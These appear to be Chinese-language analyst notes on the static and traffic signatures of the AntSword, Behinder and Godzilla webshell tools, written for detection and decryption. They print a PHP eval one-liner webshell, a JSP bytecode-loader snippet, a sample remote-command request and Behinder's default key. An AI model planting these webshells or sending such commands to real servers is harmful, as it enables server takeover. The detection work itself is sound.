webshell管理工具流量特征

https://cloud.tencent.com/developer/article/2287311

https://hilang.cloud/%E4%B8%89%E5%A4%A7-web-%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7%E6%B5%81%E9%87%8F%E7%89%B9%E5%BE%81%EF%BC%9A%E8%9A%81%E5%89%91%E3%80%81%E5%86%B0%E8%9D%8E%E4%B8%8E%E5%93%A5%E6%96%AF%E6%8B%89/

https://blog.csdn.net/lc9992023/article/details/142979104 蚁剑编码器选择

https://zhuanlan.zhihu.com/p/666225827 蚁剑流量分析

https://www.cnblogs.com/-andrea/p/17473499.html webshell流量特征

https://blog.csdn.net/2401_84488537/article/details/139212151 冰蝎流量特征

https://drun1baby.top/2022/12/25/%E5%86%B0%E8%9D%8EV4.0%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90/ 冰蝎流量分析

蚁剑

静态特征

蚁剑无法直接生成后门文件,仅提供连接文件支持

蚁剑官方提供后门文件:https://github.com/AntSwordProject/AwesomeScript

E:\WEB\TOOLS\WEBSHELL管理工具\蚁剑\AWESOMESCRIPT-MASTER
│ .gitignore
│ README.md

├─asp
│ asp_eval_xxxx_script.asp

├─aspx
│ asp.net_custom_script_for_odbc.aspx
│ asp.net_eval_script.aspx

├─jsp
│ jspx_custom_script_for_mysql.jspx
│ jspx_defineclass_script.jspx
│ jsp_custom_script_for_mysql.jsp
│ jsp_custom_script_for_oracle.jsp
│ jsp_defineclass_script.jsp
│ jsp_defineclass_zlib_deflated_script.jsp

├─php
│ php_assert_script.php
│ php_create_function_script.php
│ php_custom_script_for_mysql.php
│ php_eval_rsa_script.php

└─python
python2_custom_script.py

asp

asp\asp_eval_xxxx_script.asp

asp一句话木马,密码为ant

image-20260128103824543

aspx

aspx\asp.net_custom_script_for_odbc.aspx

强特征:

  1. 入口参数名:ant

image-20260128123410040

  1. 有多个Switch分支

image-20260128123507343

switch (Z)
{
case "A": // 盘符
case "B": // 目录列表
case "C": // 读文件
case "D": // 写文件
case "E": // 删除
case "F": // 下载
case "U": // 上传(HEX)
case "M": // cmd 执行
case "N"~"Q": // ODBC 数据库
}

  1. 固定响应包裹符

image-20260128123705586

"\x2D\x3E\x7C"   // ->|
"\x7C\x3C\x2D" // |<-
解码后:
->| ENCODED_DATA |<-

请求

  • Method:POST
  • Content-Type:application/x-www-form-urlencoded
  • 参数:
    • ant
    • z0 z1 z2 z3
  • Cookie:
    • CUSTOMSESSID

响应

  • 包裹符:

    ->|BASE64|<-
  • 长度稳定(心跳 / 探测)


aspx\asp.net_eval_script.aspx

ASP.NET JScript 一句话木马,eval执行命令,密码为ant

image-20260128124302046

jsp

仅分析其中三个样本,类似,调用原理相同

image-20260128143054421

jsp\jsp_defineclass_script.jsp

不是jsp的一句话木马,通过自定义 ClassLoader 调用 defineClass 将 Base64 编码的 Java 字节码直接加载至 JVM 内存并执行

通过继承 ClassLoader 并调用 defineClass,实现无文件落地的字节码加载。这是蚁剑、冰蝎等现代化 Webshell 的核心特征。

参数名ant

request.getParameter("ant");

equals(request,response)执行

image-20260128125045699

image-20260128124726983

请求

  • Method:POST(常见)
  • 参数名:ant
  • 参数值:
    • 超长 Base64 字符串
    • 长度通常 > 1KB
  • Content-Type:
    • application/x-www-form-urlencoded

响应

  • 长度随 payload 行为变化
  • 无固定页面结构
  • 状态码通常 200

jsp\jsp_defineclass_zlib_deflated_script.jsp

使用ClassLoader.defineClass (内存加载字节码) + Zlib (压缩)

连接密码ant

<%
String cls = request.getParameter("ant"); // 1. 获取参数(连接密码)
if (cls != null) {
// 2. 解码链:Base64解码 -> Zlib解压 -> 定义为Class -> 实例化 -> 执行
new U(this.getClass().getClassLoader()).g(decompress(base64Decode(cls))).newInstance().equals(pageContext);
}
%>

image-20260128141533205

image-20260128142145690

请求为POST请求,body中存在 ant=base64编码后的payload

流量还原:

Step 1: 提取 ant 参数的内容。

Step 2: 进行 URL Decode (如果被 URL 编码了)。

Step 3: 进行 Base64 Decode

Step 4: 进行 Zlib Inflate (解压缩)

结果验证:解压后的数据应该以十六进制 CA FE BA BE 开头。这是 Java Class 文件的魔数(Magic Number)。


jspx:

jsp\jspx_defineclass_script.jspx

JSPX 是 JSP 的 XML 语法版本。它的文件头通常包含 <jsp:root>,并且逻辑代码被包裹在 XML 标签中(如 <jsp:scriptlet>)。这意味着传统的针对 <% ... %> 的正则匹配可能会漏掉这种格式。

核心技术:ClassLoader.defineClass

连接密码:ant

编码方式:base64

通过继承 ClassLoader 并调用 defineClass,实现无文件落地的字节码加载。这是蚁剑、冰蝎等现代化 Webshell 的核心特征。

image-20260128142954538

image-20260128143004286

流量形态预测

  • 请求方法:POST
  • URLxxx.jspx (或者被配置解析为 JSP 的其他后缀)
  • Body 数据ant=yv66vgAAADQ....

手工还原步骤

  1. 提取:复制 POST 包体中 ant 参数的值。
  2. URL 解码:如果看到 %3D%2B 等字符,先进行 URL Decode。
  3. Base64 解码:直接对字符串进行 Base64 解码。
  4. 识别:解码后的内容应该以十六进制 CA FE BA BE 开头。
  5. 反编译:将解码后的二进制数据保存为 .class 文件,使用 JD-GUI 或类似工具反编译,你就能看到攻击者具体的意图(例如:他是想列出目录、读取文件、还是连接数据库)。

php

php\php_assert_script.php

base64编码,assert执行

image-20260128144010177


php\php_create_function_script.php

base64编码,eval执行

image-20260128144205356


php\php_custom_script_for_mysql.php

连接密码ant (对应代码 $pwd = "ant";)

通信特征:明显的流量定界符 (->||<-)。

Loader(加载器) 型木马,和jsp木马的实现原理类似,非一句话木马

image-20260128145113223

post参数:ant=M&z1=cmd.exe&z2=whoami

ant=M: 对应 Switch 中的 case 'M': ExecuteCommandCode

z1: 对应函数参数 $cmdPath (可能是 shell 路径)。

z2: 对应函数参数 $command (具体的命令)。 (注:如果攻击者在蚁剑设置中开启了 Base64 编码,z1 和 z2 的值会变成 Base64 字符串,但参数名结构不变)

响应:

>->|nt authority\system
>|<-

动态特征

总结:解密流量时,根据编码器进行解码,解码后得到对应的原生操作php代码,分析代码得到具体操作

一句话木马

<?php eval($_POST["shell"]); ?>

default编码器

image-20260128150426483

测试连接:

请求中为url编码,并且以@ini_set("display_errors", "0");@set_time_limit(0);开头,包含了很多执行命令

响应中返回当前路径、系统等信息,并且会被随机数包裹,格式为随机数+结果+随机数

image-20260128150547252

image-20260128150738948

并且响应中的随机数会在请求中携带

image-20260128151248270

进入连接,切换目录

image-20260128161754541

查看数据包

image-20260128161806800

两个参数,shell和一个随机的参数名

对shell参数值进行url解码,并且规范为php代码格式

image-20260128162910615

ai分析:

参数获取:它从 $_POST["u6afce14b3e1ea"] 中获取目标路径。为了混淆,它会去掉该参数值的前两个字符(substr(..., 2))再进行 Base64 解码。

文件列表生成:它会遍历目标目录,获取每个文件的修改时间大小权限

格式化返回:目录和文件被分开存储($M$L),并按特定格式拼接(制表符 \t 分隔),最后通过 asoutput 函数包裹定界符返回给蚁剑客户端。

也就是获取随机产生的那个参数的值路径,并且去除前两个字符,进行base64解码

LPRTovcGhwU3R1ZHlQcm8vcGhwc3R1ZHlfcHJvL1dXVy9kZW1vLw%3D%3D

先进行url解码

LPRTovcGhwU3R1ZHlQcm8vcGhwc3R1ZHlfcHJvL1dXVy9kZW1vLw==

去除前两个字符在进行base64解码

image-20260128163153590

获取了操作的目录(也就是在图形化界面点击查看了该目录)

base64编码器

image-20260128151634238

测试连接:

随机生成一个参数来传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行,影响包的结果返回格式为: 随机数+编码后的结果+随机数

image-20260128151852450

这里由于解码器选择的是default,因此响应为明文,如果编码器base64&解码器base64,响应为随机数+base64+随机数

image-20260128152453367

image-20260128152653583

image-20260128152704627

chr编码器

对payload的所有字符都利用chr函数进行转换。

image-20260128152843347

进行chr解码即可还原为可读的php代码

image-20260128154003422

chr16

image-20260128153349679

rot13

POST请求中rot13编码方式,也是使用了@eval()函数,然后对post传输进行了rot13编码。

image-20260128170229158

image-20260128170352527

总结

静态特征:

php使用assert、eval执行

asp只有eval执行

jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征。(通过自定义 ClassLoader 调用 defineClass 将 Base64 编码的 Java 字节码直接加载至 JVM 内存并执行)

动态特征:

请求体以@ini_set("display_errors","0");@set_time_limit(0)开头。

响应体格式为随机数+结果+随机数

冰蝎

冰蝎3无法生成自带冰蝎马,冰蝎4可以生成

生成冰蝎马:传输协议 -> 选择协议名称 -> 生成服务端,会在目录下生成协议名称的文件夹,并且里面包含了对应协议的冰蝎马

image-20260128172608983

image-20260128172523850

静态特征

冰蝎2.0,冰蝎3.0 的冰蝎马在冰蝎目录下,修改冰蝎马需要直接修改文件内容

冰蝎4.0 的冰蝎马在目录下也存在,并且支持生成服务端,可以使用其他传输协议(异或加密、aes加密等)

冰蝎4 通讯原理:

冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输

第一阶段-密钥协商

1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.aspx?pass=645的请求服务器密钥;

2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。

第二阶段-加密传输

1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

3)执行结果通过AES加密后返回给攻击者。

image-20260128213841928

由于需要先协商密钥发送密钥,冰蝎马会存在固定密钥$key="e45e329feb5d925b",一个16字节的字符串

连接密码 MD5 的前 16 位

默认密码:rebeyond

md5("rebeyond") = e45e329feb5d925b...

并且会有命令分隔协议

$arr = explode('|', $post);

执行命令

__invoke
call_user_func(new
eval(

image-20260128213456985

动态特征

由于冰蝎通讯需要验证密钥,所以冰蝎不支持连接一句话木马,尝试连接一句话木马会提示

必须使用冰蝎马连接

image-20260128215938196

请求和响应均为aes加密内容

请求字节头固定,响应字节头固定

比如:

image-20260128221633236

image-20260128221650023

但是当进行其他操作,比如文件管理,请求头字节会变化,响应头字节不会变化

image-20260128221830484

image-20260128221855573

并且在实际中发现,

流量解密

冰蝎3

image-20260128220529303

image-20260128220537794

image-20260128220557294

冰蝎4

其中如果冰蝎4,但是使用的是原生冰蝎马(没有通过传输协议处使用其他协议生成的冰蝎马)仍可以用冰蝎1-3解密(加密结果相同)

image-20260128222243212

image-20260128222618389

使用工具解密没有没有解出来,可能是工具解密不支持php?

总结

静态特征:

存在固定密钥$key="e45e329feb5d925b",一个16字节的字符串,是 连接密码 MD5 的前 16 位

有命令分隔协议:$arr = explode('|', $post);

执行命令方法:

__invoke
call_user_func(new
eval(

动态特征:

多次请求,请求字节头固定,响应字节头固定

Content-type: Application/x-www-form-urlencoded

长连接:Connection: Keep-Alive

如果为进行自定义ua头,会从10个ua头选一个

1."Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36"
2."Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0"
3."Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
4."Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.55"
5."Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
6."Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0"
7."Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
8."Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
9."Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0"
10."Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

哥斯拉

有效载荷:语言类型

加密器:哥斯拉提供几种加密器,不同语言支持的加密器数量不同

Raw or Base64 加密器区别

Raw : Raw是将加密后的数据直接发送或者输出

Base64 : Base64是将加密后的数据再进行Base64编码

image-20260128223241309

使用对应加密器生成的后门,在连接时也要使用对应的加密器连接

静态特征

在默认脚本编码的情况下,jsp会出现xc、pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征。

php如下代码

image-20260128223925748

image-20260128224132871

动态特征

xor

测试连接

image-20260128224631184

三次请求

第一次请求数据包大,并且响应体无内容

image-20260128224709483

image-20260128224733496

建立连接

xor使用解密工具无法正常解密?

base64

连接同样三次请求,并且第一次数据包大

image-20260128225852269

cookie中存在分号

image-20260128230414109

流量解密

image-20260128230149619

image-20260128230211858

请求解密:

image-20260128230248137

响应解密:

image-20260128230316417

总结

静态特征:

会出现xc、pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

动态特征:

cookie结尾存在分号

响应体:md5前十六位+base64+md5后十六位